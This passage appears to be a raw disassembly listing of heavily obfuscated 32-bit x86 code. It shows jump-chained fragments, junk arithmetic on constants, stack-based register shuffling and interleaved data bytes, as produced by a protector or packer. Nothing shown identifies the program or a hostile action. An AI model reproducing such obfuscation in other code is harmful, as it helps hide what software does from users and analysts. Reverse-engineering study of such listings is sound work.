77DB5778h add esi, ebx sub esi, 77DB5778h push ebp mov ebp, 3D400A06h xor ebp, 70F84C14h xor ebp, 10F03360h sub esi, ebp pop ebp jmp loc_55EFAD ; --------------------------------------------------------------------------- loc_554260: ; CODE XREF: sub_542C3C+1DFB9j xor esi, 5202397Eh jmp loc_554837 ; --------------------------------------------------------------------------- db 30h dd 0B4505BDEh, 58E6282Ah, 148BF028h, 4C48124h, 56000000h dd 0C681E689h, 4, 661DE9h, 6CC38100h, 12AA93Dh, 6CBA52C3h dd 292AA93Dh, 0C4E95AD3h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5542A3: ; CODE XREF: sub_542C3C+1CD4Fj add ebx, eax mov eax, [esp+78h+var_78] push eax jmp loc_55444B ; --------------------------------------------------------------------------- dw 0E951h dd 1464Eh ; --------------------------------------------------------------------------- loc_5542B4: ; CODE XREF: sub_542C3C+22272j push ecx push esi mov esi, 398A5084h shr esi, 2 shr esi, 4 jmp loc_560BF4 ; --------------------------------------------------------------------------- loc_5542C6: ; CODE XREF: sub_542C3C+14B41j push 1E334235h pop ebx shl ebx, 1 push edi mov edi, 0FFFFFFFFh jmp loc_553CEE ; --------------------------------------------------------------------------- loc_5542D9: ; CODE XREF: sub_542C3C+1226Fj pop edi add esp, 4 push ecx push esp jmp loc_557A56 ; --------------------------------------------------------------------------- loc_5542E7: ; CODE XREF: sub_542C3C+132E8j inc esi shl esi, 3 jmp loc_56325A ; --------------------------------------------------------------------------- dd 19F3E95Ch, 4050001h, 0E9000000h, 2294h ; --------------------------------------------------------------------------- loc_554300: ; CODE XREF: sub_542C3C+1C374j add esp, 4 add esi, 2 jmp loc_554099 ; --------------------------------------------------------------------------- dw 0F829h dd 83243C8Bh, 685604C4h, 7A1Eh, 13416E9h, 4C48100h, 87000000h dd 248B242Ch, 48B6624h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_565DC8 ; --------------------------------------------------------------------------- loc_554348: ; CODE XREF: sub_542C3C+1C486j pop ebx sub ebp, 4 jmp loc_563D06 ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 2EEDE924h, 0C4810001h, 4, 2EA81h, 14870000h, 24248B24h dd 24048966h, 0FFF1D7E9h, 3877FFFFh, 60685652h, 5E31DE16h dd 4A79F681h, 0F68106C0h, 0FDD6C65h, 1EE81h, 83570000h dd 248904ECh, 24048124h, 4, 5F2434FFh, 0FF22E9h, 2FE94A00h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5543AF: ; CODE XREF: sub_542C3C+16365j mov esp, [esp+88h+var_88] mov [esp+88h+var_88], ebx mov ebx, esp push edx mov edx, 546122ACh shl edx, 4 jmp loc_567F36 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 81000000h, 4C5h, 74FF5500h, 2C8B0424h, 0C60FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5543DE: ; CODE XREF: sub_542C3C+183A0j push ebx mov ebx, 2C8427BDh add ebx, 66F10129h sub ebx, 937528E2h add edi, ebx jmp loc_560334 ; --------------------------------------------------------------------------- loc_5543F7: ; CODE XREF: sub_542C3C+19797j mov word ptr [esp+90h+var_90], dx jmp loc_566F79 ; --------------------------------------------------------------------------- loc_554400: ; CODE XREF: sub_542C3C+21F7Dj push edx jmp loc_55575E ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 0E9240489h, 0FFFFFB63h, 33240C31h, 248B240Ch dd 2434FF24h, 5A2434FFh, 19EDE9h, 89FD2900h, 0C7815DEFh dd 0A714BE30h, 66B6EB81h, 0C38137BEh, 0C2850B7h, 75E9FB29h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55444B: ; CODE XREF: sub_542C3C+1166Dj mov eax, esp jmp loc_558757 ; --------------------------------------------------------------------------- loc_554452: ; CODE XREF: sub_542C3C+1ED84j mov ebp, 43F11F53h jmp loc_562E23 ; --------------------------------------------------------------------------- dd 8001C680h, 0EE8047EEh, 0FDEE800Dh, 0D006B450h, 0A9E480ECh dd 0E480DCF6h, 0B7536688h, 66FC28F8h, 9FEB805Bh, 6933E9h dd 3AE95100h, 0BF0000E4h, 583E69BEh, 2D5FF801h, 1, 3957E9h db 0 ; --------------------------------------------------------------------------- loc_55449D: ; CODE XREF: sub_542C3C+18A0Ej add esp, 4 jmp loc_5610B8 ; --------------------------------------------------------------------------- loc_5544A8: ; CODE XREF: sub_542C3C+2101Bj pop ecx xor esi, [esp+74h+var_74] xor [esp+74h+var_74], esi xor esi, [esp+74h+var_74] pop esp push ecx mov ecx, 23ED055Ch add ecx, 0FFFFFFFFh sub ecx, 12BE1A44h push edx push esi jmp loc_5535A6 ; --------------------------------------------------------------------------- aMvkSz db '-²Œ¢Š',9,'Çéz ',0 align 4 dd 0E904C783h, 0CD50h, 0E95EF301h, 4B66h ; --------------------------------------------------------------------------- loc_5544E8: ; CODE XREF: sub_542C3C+2104Bj pop esp xor ebx, eax jmp loc_55A324 ; --------------------------------------------------------------------------- dd 0E92434FFh, 111E5h ; --------------------------------------------------------------------------- loc_5544F8: ; CODE XREF: sub_542C3C+13DC5j add [esp+78h+var_78], 4 pop ecx push edx jmp loc_5606B1 ; --------------------------------------------------------------------------- db 80h dd 0D7F699F7h, 8002E7C0h, 0EF80BACFh, 0CFC7802Dh, 835BFD30h dd 0DCE902ECh, 8100012Dh, 4C1h, 4E98100h, 33000000h, 0C31240Ch dd 240C3324h, 90DFE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55453A: ; CODE XREF: sub_542C3C+205C4j push esi sub esp, 4 mov [esp+80h+var_80], esp add [esp+80h+var_80], 4 mov esi, [esp+80h+var_80] add esp, 4 add esi, 4 add esi, 4 jmp loc_562710 ; --------------------------------------------------------------------------- loc_55455F: ; CODE XREF: sub_542C3C+1EA27j push esi mov esi, 61814A01h shl esi, 6 add esi, 0D97BD079h sub ebp, esi pop esi sub ebp, 6F692817h jmp loc_55F7B0 ; --------------------------------------------------------------------------- dd 148BD001h, 5C85E924h, 0E9540000h, 870h, 0E9CFE980h dd 0B1D4h, 8324348Bh, 0FEE904C4h, 0C100000Fh, 0C78102EFh dd 0DE6BE73Bh, 0FAC3E9h db 0 ; --------------------------------------------------------------------------- loc_5545AD: ; CODE XREF: sub_542C3C+12B38j sub edx, 0D45E8E59h jmp loc_55C752 ; --------------------------------------------------------------------------- dd 0FF3C77FFh, 48B2434h, 4C48124h, 81000000h, 4ECh, 1123E900h dd 0F660000h, 7BE9C8B6h, 81000017h, 0B00D51F3h, 0C4C3E92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5545E6: ; CODE XREF: sub_542C3C+21713j xor ecx, [esp+7Ch+var_7C] xor [esp+7Ch+var_7C], ecx push ecx push edx pop ecx pop edx not edx xchg edx, ecx xor [esp+7Ch+var_7C], ecx xor ecx, [esp+7Ch+var_7C] xor [esp+7Ch+var_7C], ecx push [esp+7Ch+var_7C] mov eax, [esp+80h+var_80] push ecx jmp loc_567830 ; --------------------------------------------------------------------------- loc_554609: ; CODE XREF: sub_542C3C+15C4Dj mov [esp+84h+var_84], ebp push esi mov esi, esp push edx mov edx, 4 add esi, edx jmp loc_561064 ; --------------------------------------------------------------------------- dd 8904EC83h, 87B1240Ch, 13D48E9h, 19E9AC00h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55462F: ; CODE XREF: sub_542C3C+199CDj push ebp mov ebp, 54838A5h shl ebp, 6 shl ebp, 6 add ebp, 0CB60BE37h add ebx, 2B800FB6h sub ebx, 69F265CAh add ebx, ebp jmp loc_567C4C ; --------------------------------------------------------------------------- dd 6B685251h, 5A0BAE1Fh, 0A803E9h db 0 ; --------------------------------------------------------------------------- loc_554661: ; CODE XREF: sub_542C3C+159AEj mov ecx, 50ED4FF8h add esi, ecx pop ecx jmp loc_55AFEE ; --------------------------------------------------------------------------- loc_55466E: ; CODE XREF: sub_542C3C+25A66j pop ecx jmp loc_562448 ; --------------------------------------------------------------------------- loc_554674: ; CODE XREF: sub_542C3C+1A1F6j push edx mov dh, 69h jmp loc_5636B4 ; --------------------------------------------------------------------------- loc_55467C: ; CODE XREF: sub_542C3C+198B4j mov edx, 5A57461h sub ebx, edx pop edx jmp loc_554F57 ; --------------------------------------------------------------------------- loc_554689: ; CODE XREF: sub_542C3C+182F2j mov ebx, ecx pop ecx add eax, ebx jmp loc_55E2D4 ; --------------------------------------------------------------------------- db 81h dd 1F1C7CC3h, 5BD929FFh, 5C240C87h, 98ABE9h db 0 ; --------------------------------------------------------------------------- loc_5546A5: ; CODE XREF: sub_542C3C+1506Bj mov ah, 0DCh push ebx mov bl, ah mov cl, bl mov ebx, [esp+88h+var_88] jmp loc_55A7D3 ; --------------------------------------------------------------------------- loc_5546B4: ; CODE XREF: sub_542C3C+20F07j mov edx, [esp+88h+var_88] add esp, 4 jmp loc_560AB6 ; --------------------------------------------------------------------------- loc_5546C2: ; CODE XREF: sub_542C3C+13D4Bj push ebp mov ebp, 2B332E76h add [esp+88h+var_80], 6017714Fh sub [esp+88h+var_80], ebp sub [esp+88h+var_80], 6017714Fh pop ebp pop ecx jmp loc_5547D2 ; --------------------------------------------------------------------------- db 29h dd 0FCBE56D8h, 0E91B1338h, 1330Ch, 2474FF56h, 0A8BE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5546FA: ; CODE XREF: sub_542C3C+22939j xor [esp+80h+var_7C], edx jmp loc_55B7FC ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D359h, 0EE3AE99Ch, 3C87FFFFh, 24248B24h dd 5304EB83h, 42474FFh, 5B2434FFh, 0E904C483h, 6205h, 0E95EF131h dd 24D8h, 54240C89h, 0C186E9h db 0 ; --------------------------------------------------------------------------- loc_55473D: ; CODE XREF: sub_542C3C+21CE5j pop esp and eax, edx push [esp+7Ch+var_7C] mov edx, [esp+80h+var_80] add esp, 4 push 0F93h mov [esp+80h+var_80], ecx push esp mov ecx, [esp+84h+var_84] add esp, 4 jmp loc_5647C6 ; --------------------------------------------------------------------------- loc_55475D: ; CODE XREF: sub_542C3C+1E5D0j sub eax, ebx pop ebx mov ebp, [esp+7Ch+var_7C] add esp, 4 push 494Eh mov [esp+7Ch+var_7C], esi push 7382h jmp loc_55B73B ; --------------------------------------------------------------------------- db 89h dd 74FF2414h, 8F5A0424h, 0F0E92404h, 83000099h, 786804C4h dd 8900002Dh, 0AD68242Ch, 8900006Eh, 4812424h, 424h, 0C5815D00h dd 4, 3304ED83h, 2C31242Ch, 242C3324h, 0C127E9h, 24148B00h dd 0E904C483h, 12A91h ; --------------------------------------------------------------------------- loc_5547C8: ; CODE XREF: sub_542C3C+24161j mov ebp, 0A727439h jmp loc_557B0A ; --------------------------------------------------------------------------- loc_5547D2: ; CODE XREF: sub_542C3C+11AA2j pop eax sub eax, 16836354h jmp loc_55988C ; --------------------------------------------------------------------------- loc_5547DD: ; CODE XREF: sub_542C3C+1A018j xchg eax, [esp+7Ch+var_7C] pop esp sub eax, 596422Dh push [esp+78h+var_78] mov ecx, [esp+7Ch+var_7C] jmp loc_55A8BF ; --------------------------------------------------------------------------- db 0B7h, 0D4h, 0C0h dd 0C78006EFh, 0F8D7E947h, 40970000h, 78C78197h, 87069A3Dh dd 87D5F7EFh, 4B95E9EFh, 81BB0000h, 506AB663h, 1147DE9h dd 4C78100h, 0E9000000h, 13794h, 5C242C33h, 31240C33h dd 75E9240Ch db 0B3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554837: ; CODE XREF: sub_542C3C+1162Aj shl esi, 5 xor esi, 6EA43133h push edi mov edi, esi jmp loc_56209B ; --------------------------------------------------------------------------- dd 3166AD66h, 0F8F2E9D8h, 0ED810000h, 1A732C62h, 0C581C501h dd 1A732C62h, 0E924048Bh, 140C1h, 49F6814Eh, 138A958h dd 0FD1EE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554876: ; CODE XREF: sub_542C3C+1691Bj add edi, eax mov eax, [esp+7Ch+var_7C] push edi mov edi, esp add edi, 4 jmp loc_55FFEB ; --------------------------------------------------------------------------- dd offset dword_588C68 align 2 dw 3489h dd 81E68924h, 4C6h, 0D3BE900h, 4D680000h, 89000022h, 19B62414h dd 0E91BF680h, 8020h, 2A93E681h, 0F756505Ch, 0E95E2414h dd 793Ch, 3B2FE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5548C6: ; CODE XREF: sub_542C3C+1DBD1j push [esp+80h+var_80] pop ebp push ebx jmp loc_5588AA ; --------------------------------------------------------------------------- dd 4CB4C581h, 9BE925C6h, 8800011Bh, 24048BC2h, 8004C483h dd 0D2F603F2h, 0F010E9h, 0E9F10900h, 88ECh, 0E92434FFh dd 1DBCh, 9D6634BDh, 3EA8E97Eh, 0E9590001h, 0FFFFECA7h dd 0E1E9D4B3h, 8900013Ah, 4BE2434h, 1000000h, 52505EF1h dd 591A15BAh, 920EB870h, 0D029CD30h, 8B2434FFh, 0C4832414h dd 5D545504h, 3B3B850h, 342578D8h, 0D488D44h, 62C07A78h dd 0D8764E25h, 724C3542h, 0C50142C8h, 4C58358h, 5C242C87h dd 4EC81h, 0C890000h, 367DB924h, 0C9813DBEh, 6F345FB6h dd 0D9F7D9F7h, 2540E9h, 24048F00h, 0F324248Bh, 386203A5h dd 0FFFAFCE9h, 81EF01FFh, 0F43604C7h, 0ACC78127h, 513DBE25h dd 6B5B01B9h, 59CF2946h, 4EC835Dh, 0FF243C89h, 0E9042474h dd 0FF32h, 0EA81E2D1h, 4CD6ECEAh, 0F116E952h, 0F7810000h dd 6D8528D6h, 8CA9E9h, 241C8B00h, 104C483h, 0E904245Ch dd 0CBCCh, 4245429h, 4244481h, 63B6D87h, 4244481h, 657A14FBh dd 2434FF5Ah, 4C48159h, 56000000h, 0F30241BEh, 83DEF704h dd 0CE8101C6h, 1B2F27A9h, 0C126F681h, 0BAE9FF09h, 810000D4h dd 54D623C3h, 5BDF8909h, 35DEE781h, 0E7C13665h, 21E95103h dd 400011Bh, 93345A7Dh, 2BD568h, 24148900h, 0B130E9h db 0 ; --------------------------------------------------------------------------- loc_554A3D: ; CODE XREF: sub_542C3C+18F24j pop esi add edx, esi mov esi, [esp+80h+var_80] add esp, 4 and eax, edx push [esp+7Ch+var_7C] mov edx, [esp+80h+var_80] add esp, 4 add esp, 4 or eax, eax jnz loc_567A3A push 6801h mov [esp+7Ch+var_7C], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+7Ch+var_7C] pop esp jmp loc_566CD8 ; --------------------------------------------------------------------------- db 81h dd 4E7C40F1h, 37D4E9F8h, 2C890000h, 18786824h, 2C8B3A8Eh dd 4C48324h, 18866851h, 2C890000h, 2B06824h, 505D363Ah dd 830205B8h, 766F2503h, 0D0F7410Fh, 5F8BE9h db 0 ; --------------------------------------------------------------------------- loc_554AB9: ; CODE XREF: sub_542C3C+24A44j sub al, 2Bh jmp loc_5629DD ; --------------------------------------------------------------------------- dd 0FF85EA81h, 5A051C3Ch, 290BCB1Fh, 0CA81E9D0h, 0C3010000h dd 34815358h, 81345424h, 2C44E95Ch, 0C7810000h, 255305FAh dd 243C875Bh, 0B652505Ch, 2840B432h, 0E4C05AF4h, 5732E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554AFE: ; CODE XREF: sub_542C3C+12D04j add edx, 23606A9Fh push ecx mov ecx, 7A5C0CC1h and ecx, 35C218C7h inc ecx neg ecx xchg ebx, ecx neg ebx xchg ebx, ecx dec ecx xor ecx, 72807486h add edx, ecx pop ecx mov ebx, [esp+78h+var_78] add esp, 4 jmp loc_563B34 ; --------------------------------------------------------------------------- loc_554B31: ; CODE XREF: sub_542C3C+125EEj sub esp, 4 mov [esp+78h+var_78], edx jmp loc_561E0E ; --------------------------------------------------------------------------- dd 7608ED81h, 0E7E904C9h, 0B800009Bh, 2, 9E9C529h db 11h, 1, 0 ; --------------------------------------------------------------------------- loc_554B53: ; CODE XREF: sub_542C3C+1FA6Ej pop ebx push ecx mov ecx, 346B6D4Ch xor ecx, 346B6D48h add ebx, ecx pop ecx push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_55E8C6 ; --------------------------------------------------------------------------- loc_554B71: ; CODE XREF: sub_542C3C+18544j pop esp push 5320h mov [esp+74h+var_74], ebp jmp loc_56599C ; --------------------------------------------------------------------------- db 81h dd 4C7h, 1071E900h, 2C8B0000h, 0E0895024h, 0B70E9h, 5EF03100h dd 44CFEB81h, 0BE5638CDh, 3CD3641Ah, 0EB93C681h, 0EB81F1C8h dd 36FB7E50h, 0C381F329h, 36FB7E50h, 0F6CFE95Eh, 0FF66FFFFh dd 0E986E932h, 0C481FFFFh, 4, 205h, 0FC27E900h, 0F1810000h dd 7E507F72h, 8159CF21h, 0BDFDA5C7h, 5FFB018Eh, 815BDA31h dd 0CE16BEEAh, 0F6CE94Ch, 89520001h, 4C281E2h, 56000000h dd 13DBE9h db 0 ; --------------------------------------------------------------------------- loc_554C05: ; CODE XREF: sub_542C3C+1EF70j add ebx, 3B9045E0h sub eax, ebx pop ebx and edi, eax pop eax and edi, 4B3D5DE6h sub esp, 4 mov [esp+70h+var_70], esi mov esi, 42D0C19h jmp loc_563D6C ; --------------------------------------------------------------------------- db 5Ah dd 0DAF7D2F7h, 5DC8F281h, 0D5016DD3h, 4EC835Ah, 0E9240489h dd 0DDA4h, 4C481h, 0E9530000h, 0D39Eh ; --------------------------------------------------------------------------- loc_554C4C: ; CODE XREF: sub_542C3C+25C21j mov [esp+70h+var_70], ebx push 61C565B9h jmp loc_55978C ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 4BD555Ch, 0E9000000h, 4945h, 0A954E0BAh, 5AD5296Ch dd 5085E9h, 0F9EB8100h, 8100FB06h, 0C122E1C3h, 786FE951h dd 34870000h, 143CE924h, 84680000h, 8900006Ah, 62BB241Ch dd 0F75B5F07h, 63F381D3h, 0C1444370h, 0EBC106EBh, 0F9E5E902h dd 4BAFFFFh, 0E9000000h, 0FFFFEC00h, 240C8B66h, 3A968h dd 24148900h, 0B91CE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554CCA: ; CODE XREF: sub_542C3C+12EDBj sub esi, 1 sub esi, 4BC2C16Ch xor edi, esi pop esi and eax, edi mov edi, [esp+70h+var_70] sub esp, 4 mov [esp+74h+var_74], eax push esp pop eax add eax, 4 push esi sub esp, 4 mov [esp+7Ch+var_7C], edx mov edx, 4 jmp loc_567853 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0C7h dd 564F131Fh, 0C681E689h, 4, 0E904EE83h, 490Dh, 15CCBB53h dd 0F3814FFAh, 46213602h, 6F9EEB81h, 0F3816EC0h, 0AC148C7Ch dd 815BDD31h, 99531BC5h, 0E4EE93Ch, 4890001h, 5585424h dd 4, 4BE56h, 0ACE90000h db 20h, 1, 0 ; --------------------------------------------------------------------------- loc_554D4B: ; CODE XREF: sub_542C3C+211C6j mov ecx, 461E0507h sub [esp+7Ch+var_78], ecx pop ecx pop ecx add ecx, 461E0507h jmp loc_55F370 ; --------------------------------------------------------------------------- loc_554D61: ; CODE XREF: sub_542C3C+24C68j pop esp mov [esp+70h+var_70], ebx push edi mov edi, 5938118Bh xor edi, 6C965603h or edi, 21192CC5h shl edi, 7 add edi, 2B3C45B9h push edi xor [esp+78h+var_78], 19385749h mov ebx, [esp+78h+var_78] add esp, 4 jmp loc_561B0F ; --------------------------------------------------------------------------- aHDsP db 'h/=¶déį',0 align 10h loc_554DA0: ; CODE XREF: sub_542C3C+13953j add ebx, 4 xchg ebx, [esp+74h+var_74] pop esp pop [esp+70h+var_70] pop esp or edx, eax shl edx, 1 push edi mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp sub edi, 4 xchg edi, [esp+6Ch+var_6C] pop esp mov [esp+68h+var_68], ebp jmp loc_558AAA ; --------------------------------------------------------------------------- loc_554DCD: ; CODE XREF: sub_542C3C+22535j push edi push 55E47C17h push [esp+70h+var_70] pop edi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+74h+var_74] pop esp push eax mov eax, 1 sub edi, eax jmp loc_55A838 ; --------------------------------------------------------------------------- loc_554DF4: ; CODE XREF: sub_542C3C+1E84Aj mov esi, [esp+74h+var_74] jmp loc_5648B1 ; --------------------------------------------------------------------------- dd 6824048Fh, 7FD4h, 8517E9h db 0 ; --------------------------------------------------------------------------- loc_554E09: ; CODE XREF: sub_542C3C+25805j add esp, 4 xchg ebx, ecx not ebx xchg ebx, ecx jmp loc_56884B ; --------------------------------------------------------------------------- dw 1AB3h dd 8002EBC0h, 0C3FE04F3h, 4E8EB80h, 2CD800C6h, 2434FFC6h dd 4C4815Bh, 2C000000h, 69685204h, 89000026h, 9B1240Ch dd 82E9D1F6h db 2Bh, 1, 0 ; --------------------------------------------------------------------------- loc_554E4B: ; CODE XREF: sub_542C3C+23DACj mov esi, 57895828h shl esi, 4 jmp loc_561F79 ; --------------------------------------------------------------------------- dd 4BBh, 5BDA8900h, 555AD101h, 4BDh, 8BE92900h, 0C483242Ch dd 240C3304h, 33240C31h, 248B240Ch, 24048924h, 0BDE9E089h dd 5A00005Eh, 2C04C483h, 0E99B2C71h, 0C913h, 4B77BA52h dd 0D0291547h, 6550E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_554EA2: ; CODE XREF: sub_542C3C+1B1ECj pop esp and eax, edi push [esp+6Ch+var_6C] push [esp+70h+var_70] jmp loc_5542D9 ; --------------------------------------------------------------------------- dd 0EA81C201h, 2A263821h, 4C28358h, 31241433h, 14332414h dd 24248B24h, 0A125E9h, 243C8900h, 0BF4E74BFh, 19F7812Ch dd 68085C76h, 34ADh, 0F7243C89h, 82E92414h, 31000110h dd 0F8CBE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554EF2: ; CODE XREF: sub_542C3C+10F4Bj pop edi xor ebx, 7C790D76h add ebx, 0FD11020Dh jmp loc_560EAE ; --------------------------------------------------------------------------- dd 24148B54h, 5104C483h, 8904EC83h, 0BF572414h, 25C4782Fh dd 8105EFC1h, 5CEDFBC7h, 5FFA8901h, 0E95AD189h, 4495h dd 0BE243489h, 2A5F17D6h, 89F28952h, 835E5AD0h, 0BFE901E8h dd 8B000128h, 0E9552414h, 16EBh, 36C8BF57h, 43E96E6Ah db 16h, 1, 0 ; --------------------------------------------------------------------------- loc_554F57: ; CODE XREF: sub_542C3C+11A48j push eax jmp loc_55B490 ; --------------------------------------------------------------------------- db 58h, 0C0h, 0EAh dd 80D2F604h, 0E950D8E2h, 14B3h, 3E0DBF57h, 0F781553Ch dd 2E9D6A4Bh, 9C8E9h db 0 ; --------------------------------------------------------------------------- loc_554F7D: ; CODE XREF: sub_542C3C+17845j push edi mov edi, 352707Eh jmp loc_55C819 ; --------------------------------------------------------------------------- dd 0D0F7C131h, 58595051h, 65FEE9h, 4C48100h, 0E9000000h dd 0FFFFE5B8h ; --------------------------------------------------------------------------- loc_554FA0: ; CODE XREF: sub_542C3C+1BF08j xor ebp, [esp+90h+var_90] pop esp movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 0E92434FFh, 12CFBh, 2B62E959h, 30AC0000h, 735AE9D8h dd 0C3890000h, 9F61E9h db 0 ; --------------------------------------------------------------------------- loc_554FC9: ; CODE XREF: sub_542C3C+1745Ej xor ebx, eax xor eax, ebx push ebp push esi mov esi, 66D734D6h xor esi, 49FC058Ah shr esi, 8 neg esi push ebp push 11F038A4h mov ebp, [esp+9Ch+var_9C] add esp, 4 sub esi, ebp pop ebp sub esp, 4 mov [esp+98h+var_98], esi dec [esp+98h+var_98] jmp loc_55D9A6 ; --------------------------------------------------------------------------- loc_554FFF: ; CODE XREF: sub_542C3C+17A43j push [esp+98h+var_98] jmp loc_555375 ; --------------------------------------------------------------------------- db 50h dd 0CC1614B8h, 58C20100h, 2C48C281h, 0BE90C30h, 8000011Dh dd 5902EBh, 0DFE952C3h db 0Eh, 1, 0 ; --------------------------------------------------------------------------- loc_555027: ; CODE XREF: sub_542C3C+17A6Cj neg esi not esi add esi, 0FFFFFFFFh jmp loc_559E4A ; --------------------------------------------------------------------------- db 66h dd 2404BB0Fh, 0E50EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55503E: ; CODE XREF: sub_542C3C+22920j add [esp+9Ch+var_9C], 22FB269Eh pop edx sub edx, 22FB269Eh mov ebp, edx pop edx jmp loc_567658 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 8704C583h, 62E9242Ch db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_555067: ; CODE XREF: sub_542C3C+1AB82j mov [esp+94h+var_94], eax mov ah, 2Ch push edx mov dh, ah not dh jmp loc_56219D ; --------------------------------------------------------------------------- dw 1489h aHSd8 db '$²h',8,'×é„8',0 align 2 loc_555082: ; CODE XREF: sub_542C3C+16A4Aj mov word ptr [esp+98h+var_98], cx movzx cx, al push cx pushf jmp loc_559DD2 ; --------------------------------------------------------------------------- loc_555092: ; CODE XREF: sub_542C3C+1F11Ej and ecx, edi jmp loc_55EB50 ; --------------------------------------------------------------------------- db 29h, 0D6h, 81h dd 2B743FC6h, 34875A6Ch, 0FE18E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5550AA: ; CODE XREF: sub_542C3C+124A9j add eax, esi mov esi, [esp] add esp, 4 xchg eax, [esp+9Ah+var_9C+2] pop esp push eax mov eax, 4 jmp loc_5646D6 ; --------------------------------------------------------------------------- loc_5550C1: ; CODE XREF: sub_542C3C+1D3F0j add esi, 0FFFFFFFFh add esi, 0DB44A226h add ebp, esi push [esp+9Ah+var_9C+2] jmp loc_55FEA3 ; --------------------------------------------------------------------------- loc_5550D7: ; CODE XREF: sub_542C3C+252F5j add eax, edx add eax, 50BA285Bh pop edx push esi mov esi, 4 jmp loc_5550AA ; --------------------------------------------------------------------------- dw 0FF55h dd 0FF042474h, 565D2434h, 0F4E9E689h, 0BB00006Ah, 144B6B35h dd 555BD909h, 3FBAE953h, 0E1810000h, 549F6F45h, 56EE9h dd 243C8B00h, 4C481h, 89520000h, 0E32E9E2h, 0E3890001h dd 4C381h, 42E90000h, 5C000049h, 12D6EE9h db 0 ; --------------------------------------------------------------------------- loc_555139: ; CODE XREF: sub_542C3C+19708j xor edx, 55AA45CAh xor ecx, edx pop edx push 71C7h mov [esp], ebx jmp loc_55A684 ; --------------------------------------------------------------------------- loc_55514F: ; CODE XREF: sub_542C3C+1DB87j add edi, 4 xchg edi, [esp] pop esp and eax, esi push [esp+9Ah+var_9C+2] mov esi, [esp] add esp, 4 push 64A5h mov [esp], ebx push 6FF0h mov [esp+0A2h+var_A2], esp push eax jmp loc_555972 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 0BC97E9h, 2434FF00h, 8324348Bh, 91E904C4h db 0E6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555193: ; CODE XREF: sub_542C3C+2342Cj mov edi, ecx pop ecx add ecx, edi mov edi, [esp+0A2h+var_A2] jmp loc_566C11 ; --------------------------------------------------------------------------- dd 5F7DF681h, 0C6815DE6h, 140D2507h, 95E9F531h, 5D0000E9h dd 4B82B951h, 0F18144A5h, 4B6D54ABh, 0FFFFBD55h, 0E901FFFFh dd 0A3D2E95Dh, 89660000h, 83E9240Ch db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5551D7: ; CODE XREF: sub_542C3C+2529Cj add ecx, ebx jmp loc_567E3F ; --------------------------------------------------------------------------- loc_5551DE: ; CODE XREF: sub_542C3C+1F13Cj mov edx, 71B26F5Bh add edx, 1FFF29D2h xor edx, 6C865A2Fh xor edx, 95517D2h not edx push eax jmp loc_5678E1 ; --------------------------------------------------------------------------- loc_5551FD: ; CODE XREF: sub_542C3C+15023j add edi, 4 jmp loc_555FA1 ; --------------------------------------------------------------------------- dd 42474FFh, 2BA3E9h db 0 ; --------------------------------------------------------------------------- loc_555211: ; CODE XREF: sub_542C3C+12E0Bj sub ebp, 54B9441Fh xchg ecx, ebp not ecx jmp loc_55EDF5 ; --------------------------------------------------------------------------- loc_555220: ; CODE XREF: sub_542C3C+22E91j push dword ptr [edx] push [esp+0AAh+var_AA] pop ecx add esp, 4 pop edx jmp loc_554B31 ; --------------------------------------------------------------------------- db 81h dd 5E3B9AEFh, 0B7E78167h, 810BF672h, 99FFD9C7h, 0E9FB29FCh dd 0A00h ; --------------------------------------------------------------------------- loc_555248: ; CODE XREF: sub_542C3C+20E00j sub esi, 5ACE57B0h add esi, eax jmp loc_560E2E ; --------------------------------------------------------------------------- loc_555255: ; CODE XREF: sub_542C3C+24E17j mov esp, [esp+0A2h+var_A2] mov [esp+0A2h+var_A2], ebx push 1236h mov [esp+0A6h+var_A6], edx mov edx, 0EAD2045h xor [esp+0A6h+var_A2], edx mov edx, [esp+0A6h+var_A6] jmp loc_55BABC ; --------------------------------------------------------------------------- loc_555274: ; CODE XREF: sub_542C3C+17E2Dj pop edx add edx, 4 jmp loc_55FDC9 ; --------------------------------------------------------------------------- dd 81240429h, 39C42404h, 2EE96527h, 2900008Eh, 6259E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555296: ; CODE XREF: sub_542C3C+223FFj mov edi, 4 add esi, edi pop edi push esi push dword ptr [esp+4] push [esp+0A6h+var_A6] pop esi add esp, 4 pop [esp+0A2h+var_A2] pop esp loc_5552B1: ; CODE XREF: sub_542C3C+10E51j push ebp push esp pop ebp push edi mov edi, 4 jmp loc_5539A4 ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 4C781h, 85E90000h, 